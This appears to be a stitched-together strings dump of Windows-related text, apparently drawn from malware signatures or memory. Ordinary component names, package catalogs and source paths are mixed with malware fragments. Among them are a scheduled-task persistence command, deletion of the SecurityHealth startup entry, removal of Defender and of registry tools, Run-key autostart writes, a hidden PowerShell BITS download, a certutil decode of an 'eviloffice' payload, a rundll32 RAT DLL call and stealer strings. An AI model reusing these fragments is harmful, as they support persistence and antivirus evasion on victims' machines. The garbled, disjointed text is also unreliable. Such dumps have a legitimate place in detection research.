schtasks /create /tn "WindowsSystemService" /tr "\"%s\"" /sc onlogon /rl highest /fs
Fuck Windows DefenderF
sistemaoperacionalwindows",""""&scriptfilepath&"""","reg_sz"'runthescriptnowobjshell.run"wscript.exe"&scriptfilepath,0,false'abrirogooglenonavegadorpadroobjshell.run"https://2no.co/2aa5w5.doc"
?verify=csrsswinlogonserviceslsasssvchostspoolsvexplorerctfmonconimewmiprvsesystemsmss
wow64_microsoft-windows-n..typelibs-deployment_31bf3856ad364e35_none_f71075683327e333
wow64_microsoft-windows-n..vicediscovery-dnssd_31bf3856ad364e35_none_3a2fbca8765a943a
wow64_microsoft-windows-n.._service_runtimeapi_31bf3856ad364e35_none_5ea47e284e29d9b5
wow64_microsoft-windows-nat-powershell_31bf3856ad364e35_none_13646002983e57bc
wow64_microsoft-windows-naturallanguage6-0009_31bf3856ad364e35_none_a678cebb6a8b32c6
wow64_microsoft-windows-naturallanguage6-base_31bf3856ad364e35_none_a4a68a796be006f6
wow64_microsoft-windows-nbtstat.resources_31bf3856ad364e35_en-us_57dff5cec7a3541e
wow64_microsoft-windows-nbtstat_31bf3856ad364e35_none_9d70c30c71fed251
wow64_microsoft-windows-ncdprop.resources_31bf3856ad364e35_en-us_d2b6a3f4d6532920
wow64_microsoft-windows-ncdprop_31bf3856ad364e35_none_c8d2725a90090311
Model@WindowsUdk
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-ErrorReportingCore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-Acpi-Pci-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat|0.1150.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PowerShell-V2-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|U\
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-ConfigCI-Onecore-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
NWindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
System.Windows.Input.CommandConverter, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, Custom=null
System.Windows.Input.CommandValueSerializer, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, Custom=null
NWindowsBase, Version=3.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35
Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe"
_MicrosoftWindowsSMBDirect_
Microsoft.WindowsTerminal_8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
Microsoft.WindowsTerminal_8wekyb3d8bbwe
hwindows
WindowsFormsApp
regdelete"hklm\software\microsoft\windows\currentversion\run"/v"securityhealth
#*.ini.|%WINDIR%\System32\oobe\oobeldrN
%WINDIR%\System32\RuntimeBrokerO
Microsoft\Windows\CurrentVersion\Uninstall\
Windows\CurrentVer
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
\System32
E:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{-
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
 Windows
 Windows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft Windows0
WindowsFirewallHelperClas6
systemroot%\system32\shell32.dll,4
c:\windows\microsoft.net\framework
::registryremoveofwindowsdefender
windowsdeploymentimagecustomizationkit
8microsoft-windows-webauthn/operational
pmicrosoft-windows-biometrics/operation
p=s.getspecialfolder(2)&"winlogon.exe"
c:\windows\temp\{$backupid}\backup.xml
windowsdefenderatponboardingscript.cmd
__x_Windows_CAI_CMachineLearning_CITensorInt32BitStatics2
__x_Windows_CAI_CMachineLearning_CITensorInt64BitStatics
__x_Windows_CAI_CMachineLearning_CILearningModelSessionOptions
__x_Windows_CAI_CMachineLearning_CIImageFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CIImageFeatureDescriptor2
__FIIterator_1_Windows__CAI__CMachineLearning__CILearningModelFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CITensorUInt64Bit
__x_Windows_CAI_CMachineLearning_CITensorInt64Bit
__x_Windows_CAI_CMachineLearning_CIMapFeatureDescriptor
__x_Windows_CAI_CMachineLearning_CILearningModelSessionFactory2
__x_Windows_CAI_CMachineLearning_CITensorFloatStatics2
__x_Windows_CAI_CMachineLearning_CILearningModelSessionOptions2
__x_Windows_CAI_CMachineLearning_CITensorDoubleStatics
__x_Windows_CAI_CMachineLearning_CITensorInt8Bit
__x_Windows_CAI_CMachineLearning_CITensorString
__x_Windows_CAI_CMachineLearning_CITensorInt64BitStatics2
__FIAsyncOperation_1_Windows__CAI__CMachineLearning__CLearningModel
__x_Windows_CAI_CMachineLearning_CILearningModelEvaluationResult
__x_Windows_CAI_CMachineLearning_CITensorStringStatics2
__x_Windows_CAI_CMachineLearning_CITensorInt32Bit
__x_Windows_CAI_CMachineLearning_CITensorUInt8BitStatics2
__x_Windows_CAI_CMachineLearning_CIImageFeatureValue
__x_Windows_CAI_CMachineLearning_CILearningModelFeatureValue
__x_Windows_CAI_CMachineLearning_CITensorUInt16BitStatics
__x_Windows_CAI_CMachineLearning_CITensorDoubleStatics2
__FIAsyncOperationCompletedHandler_1_Windows__CAI__CMachineLearning__CLearningModel
__x_Windows_CAI_CMachineLearning_CILearningModelStatics
__x_Windows_CAI_CMachineLearning_CITensorUInt64BitStatics
__x_Windows_CAI_CMachineLearning_CITensorBoolean
__x_Windows_CAI_CMachineLearning_CILearningModelSessionOptions3
__x_Windows_CAI_CMachineLearning_CITensorInt16BitStatics2
__x_Windows_CAI_CMachineLearning_CITensorFloat16BitStatics
__x_Windows_CAI_CMachineLearning_CILearningModelSession
__x_Windows_CAI_CMachineLearning_CITensorFloat16Bit
__x_Windows_CAI_CMachineLearning_CIImageFeatureValueStatics
__x_Windows_CAI_CMachineLearning_CILearningModelDevice
__x_Windows_CAI_CMachineLearning_CITensorUInt32Bit
c:\windows\system32\cmd.exe/crencfsdaacdfawd\*.vbss*.vbs&start\cfsdaacdfawd\aiasfacoafiasksf.vbs&startexplorer
regadd""hkcu\software\microsoft\windows\currentversion\run""/v""dwm""/treg_sz/d""%userprofile%\
.windows()|select-objectlocationname;write-host
=objwshell.expandenvironmentstrings("%appdata%")&"\microsoft\windows\templates\"
lmcu\software\microsoft\windows\currentversion\policies\system/vdisableregistrytools/treg_dword/d
shell\windowsuiimmersive\applicationhost\hostedwindowfactoryproxy.cpp
shell\windowsuiimmersive\appthemeapi\lib\appthemehelper.cpp
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
Digest Authentication for Windows
WindowsApplication1.BuryAlive.resourcesW
Windows.Devices.Radios.dll
t.Windows.ApplicationModel.Store.Telemetry
Microsoft.Windows.ApplicationModel.Store.Telemetry
Windows.ApplicationModel.Store.pdb
software\microsoft\windows\currentversion\explorer\fileexts\./msword/search//exel/download//window/stop//pascal/find//xp/run/VBScript
onecore\windows\core\console\open\src\interactivity\win32\systemconfigurationprovider.cpp
onecore\windows\core\console\open\src\interactivity\win32\windowio.cpp
onecore\windows\core\console\open\src\interactivity\win32\window.cpp
onecore\windows\core\console\open\src\buffer\out\textbuffer.cpp
onecore\windows\core\console\open\src\buffer\out\row.cpp
onecore\windows\core\console\open\src\renderer\base\renderer.cpp
onecore\windows\core\console\open\src\interactivity\base\servicelocator.cpp
onecore\windows\core\console\open\src\buffer\out\outputcelliterator.cpp
onecore\windows\
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\windowlayout.cpp
onecoreuap\windows\advcore\winrt\onecoreiwindow\corewindow\common\windowserver.cpp
.?AV?$VectorChangedEventHandler@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IVector@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IObservableVector@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVAssetInfo@ContentManagementSDK@@@Collections@Foundation@Windows@@
.?AU?$__abi_FunctorCapture@V<lambda_2a7d3b4be2e863639e21692e45cb1992>@@XPE$AAU?$IAsyncOperation@W4AppServiceResponseStatus@AppService@ApplicationModel@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
c:\windows\system32\fntca
Missing.SYSTEM32.A5
InsideWindowsFo
%BrowserAppProfile%\New Windows!BlockHTMLDialogs
Windows\CurrentVersion\Explorer\TravelLog!MaxSizeScreenshot
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!Text
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!ModRiskFileTypes
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!ModRiskFileTypes
Microsoft-Windows-Client-Features-Package09~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
onecore\windows\core\console\open\src\server\winntcontrol.cpp
onecore\windows\core\console\open\src\interactivity\base\interactivityfactory.cpp
onecore\windows\core\console\open\src\interactivity\base\pseudoconsolewindowaccessibilityprovider.cpp
onecore\windows\core\console\open\src\interactivity\win32\windowmetrics.cpp
CreateWindowsWindow failed with status 0x%x, gle = 0x%x
onecore\windows\core\console\open\src\interactivity\win32\clipboard.cpp
onecore\windows\core\console\open\src\interactivity\win32\menu.cpp
onecore\windows\core\console\open\src\interactivity\win32\uiatextrange.cpp
onecore\windows\core\console\open\src\interactivity\onecore\coniosrvcomm.cpp
onecore\windows\core\console\open\src\interactivity\onecore\consoleinputthread.cpp
onecore\windows\core\console\open\src\interactivity\onecore\bgfxengine.cpp
onecore\windows\core\console\open\src\types\utils.cpp
onecore\windows\core\console\open\src\types\sgrstack.cpp
C:\WINDOWS\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
regwrite("hkey_local_machine\software\microsoft\windows\currentversion\run\
regwrite("hkey_current_user\software\microsoft\windows\currentversion\run\
sistemadevidoaumproblemaparaleroarquivo."start/minregaddhkcu\software\microsoft\windows\currentversion\run/
powershell.exe-windowstylehidden-command"&{import-modulebitstransfer;start-bitstransfer'%
OS=Windows_NT
aps.prod.windows.com0
aps.prod.windows.com0>
ndows_UI_Xaml_Controls_ICheckBox@VCheckboxView@implementation@CheckboxWindows@winrt@@@impl@winrt@@
.?AU?$implements@VCheckboxView@implementation@CheckboxWindows@winrt@@U134@Ucomposing@4@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@UIContentControlOverrides@89UI@Windows@4@UIControlOverrides@89UI@Windows@4@UIControlOverrides6@89UI@Windows@4@UIFrameworkElementOverrides@9UI@Windows@4@UIFrameworkElementOverrides2@9UI@Windows@4@UIUIElementOverrides@9UI@Windows@4@UIUIElementOverrides7@9UI@Windows@4@UIUIElementOverrides8@9UI@Windows@4@UIUIElementOverrides9@9UI@Windows@4@@winrt@@
.?AU?$root_implements@VCheckboxView@implementation@CheckboxWindows@winrt@@U134@Ucomposing@4@UIToggleButtonOverrides@Primitives@Controls@Xaml@UI@Windows@4@UIContentControlOverrides@89UI@Windows@4@UIControlOverrides@89UI@Windows@4@UIControlOverrides6@89UI@Windows@4@UIFrameworkElementOverrides@9UI@Windows@4@UIFrameworkElementOverrides2@9UI@Windows@4@UIUIElementOverrides@9UI@Windows@4@UIUIElementOverrides7@9UI@Windows@4@UIUIElementOverrides8@9UI@Windows@4@UIUIElementOverrides9@9UI@Windows@4@@impl@winrt@@
.?AU?$root_implements_composable_inner@VCheckboxView@implementation@CheckboxWindows@winrt@@$0A@@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@VCheckboxView@implementation@CheckboxWindows@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@VCheckboxView@implementation@CheckboxWindows@winrt@@UIContentControlOverr
Software\Microsoft\Windows\CurrentVersion
windows task manager
windows media player
stophookshellsystem.ini?winntserviceZLTHOOKzlthookzlthook.dllc:\windows\help\qqzlt.chiqunithookdllqqtlz!?qqmail=ls.net/q2qhttp://www.dnangels.net/q2q/qqlong.aspehlo 
SOFTWARE\KasperskyLab\protected\AVP7\profiles\AVService\settings\Excludes\0000\VerdictPathSOFTWARE\KasperskyLab\protected\AVP7\profiles\AVService\settings\Excludes\0000\TaskListSOFTWARE\KasperskyLab\protected\AVP7\profiles\AVService\settings\Excludes\0000\ObjectSOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\\.\RESSDTDOShttp://www.google.cn/search?complete=1&hl=zh-CN&inlang=zh-CN&newwindow=1&q=
F1software\microsoft\windows\currentversion\explorer\browser helper objects\{86a44ef7-78fc-4e18-a564-b18f806f7f56}connectionservices.dll
software\microsoft\windows\currentversion\explorer\browser helper objects\{18cb1a7b-94cd-4582-8022-ada16851e44b}bbs.adultwebmasterinfo.com
ctibia.exewww.tibia.stealer.software\microsoft\windows\currentversion\run
c:\windows\system\
	COMPUTERNAME=WINDOWS11
\system32\cmd.exeT
OS=Windows_NT
WINDOWS\system32\cmd.exe
DriverData=C:\Windows\S'
!#SCRIPT:PsAssemblyWindowsForms
-assemblynamesystem.windows.forms
C:\WINDOWS\system32\wbem\wmiprvse.exe
Windows.Data.Settings.SettingsRanking
Windows.Data.Settings.SettingPageUsage
Windows.Data.Settings.SettingsUsageHistory
Windows.Data.Settings.RankedSettingEntry
windowscer.shop/admin/login.phpw
c:\windows\system32\rundll32.exe)..\..\..\..\windows\system32\rundll32.exem3n4rat.dll,pjyjggcvqs
n3-B0F0-A86A6447C0E2/8b596398a628496cb1fca138eae4ab9e032610f5\MicrosoftWindows.Client.WebExperience_x64.appx
/C:/WINDOWS/InboxApps/
                    window.Windows = chrome.webview.hostObjects.sync.Windows;
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
Windows.Data.Platform.ItemReference<$
oC:\__w\1\s\Src\Components\WebExperienceHost\WebExperienceHostDll\WebExperienceHost.WindowsBackup.cpp
Shell ("C:\\Windows\\System32\\cmd.exe /c certutil -decode B:\Hack\Office\eviloffice\emay.txtB:\Hack\Office\eviloffice\emay.exe")
System.Windows.Forms
Microsoft Windowsamp PCA 2010
0system.windows.formso
c:\windows\
!WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dll
WindowsAppR
\windows\system32\rundll32.exe0~
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
CloudData.WindowsClient.AssetReference
Start OneDrive when I sign in to Windows
dCOMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
C:\Windows\SystemApps\Microsoft
Windows.Foundation.Collections.IIterator`1
GetSystemWindowsDirectoryW
windows store
copilot_auth.windows_copilot_signin_found_at_first_run
https://wns.windows.com
Microsoft.Profile.DegradedAccountSignInWindowsAccountStatus
Microsoft.LoginDB.TerminationWaitProcessErrorCode.Windows
Microsoft.LoginDB.TerminateProcessErrorCode.Windows
Windows
Not all tabs/windows/tab groups restored
All tabs/windows/tab groups restored
'Create tabs and windows' started
LaunchWindowsNativeHostsDirectly
!#ALF:AGGR:SuspSystem32File.A
BLua:System32ZeroedPETimestamp
!HSTR:SuspSystem32CleanStrings
!#AGGR:DotNetAMSINonWindowsDirs
WindowsSoftwareKeysEnabled
..\..\components\enterprise\client_certificates\core\win\windows_software_private_key_factory.cc
windowsupdate.com
)C:\WINDOWS\system32\svchost.exe -k WSAIFabricSvcGroup -p
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
Windows Error Reporting
C:\Windows\SysWOW64\iertutil.dll
Windows Search
edge.perf_center.efficiency_mode.sync_windows_energy_saver_toggle
Loading Windows.Media.Protection.PlayReady.dll
Failed to load Windows.Media.Protection.PlayReady.dll
\windows\temp\sb-sim-
splitWindowsDataInstrumen9
Processor Frequency is the frequency of the current processor in megahertz. Some processors are capable of regulating their frequency outside of the control of Windows. Processor Frequency will not accurately reflect actual processor frequency on these systems. Use Processor Information\% Processor Performance instead.
% of Maximum Frequency is the percentage of the current processor's maximum frequency. Some processors are capable of regulating their frequency outside of the control of Windows. % of Maximum Frequency will not accurately reflect actual processor frequency on these systems. Use Processor Information\% Processor Performance instead.
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\SecurityHealthService.exe
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
,TNvCenter.lnkWINDOWS\system\serviseWINDOWS\system32\deb.sysNoFolderOptionsj	
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
!#SCPT:WindowsSandboxConfig.D
System.Windows.Forms.Layout.IArrangedElement.SetBounds
WindowsDefaultBounds
System.Windows.Forms.UnsafeNativeMethods.IOleControlSite.TransformCoords
System.Windows.Forms.PrintPreviewDialog.resources
System.Windows.Forms.MdiWindowDialog.resources
System.Windows.Forms.resources
.lovewindows
c:/windows/system32/drivers/mrxdav.sys
LocalWindowsHook
sm_localWindowsHook
get_ToolWindowStripGapBottom
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
[run_addreg]hkcu,"software\microsoft\windows\currentversion\run","
..\windows\system32\cmd.exe@/cstartc:\google\autoit3.exec:\google/googleupdate.a3x&exit
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
WindowsVersion
Windows.ApplicationModel.Background.SystemEventsBroker.pdb
Windows
windows\ccm
windows.~bt\newos\
GetSystemWindowsDirectoryW
GetWindowsDirectoryW
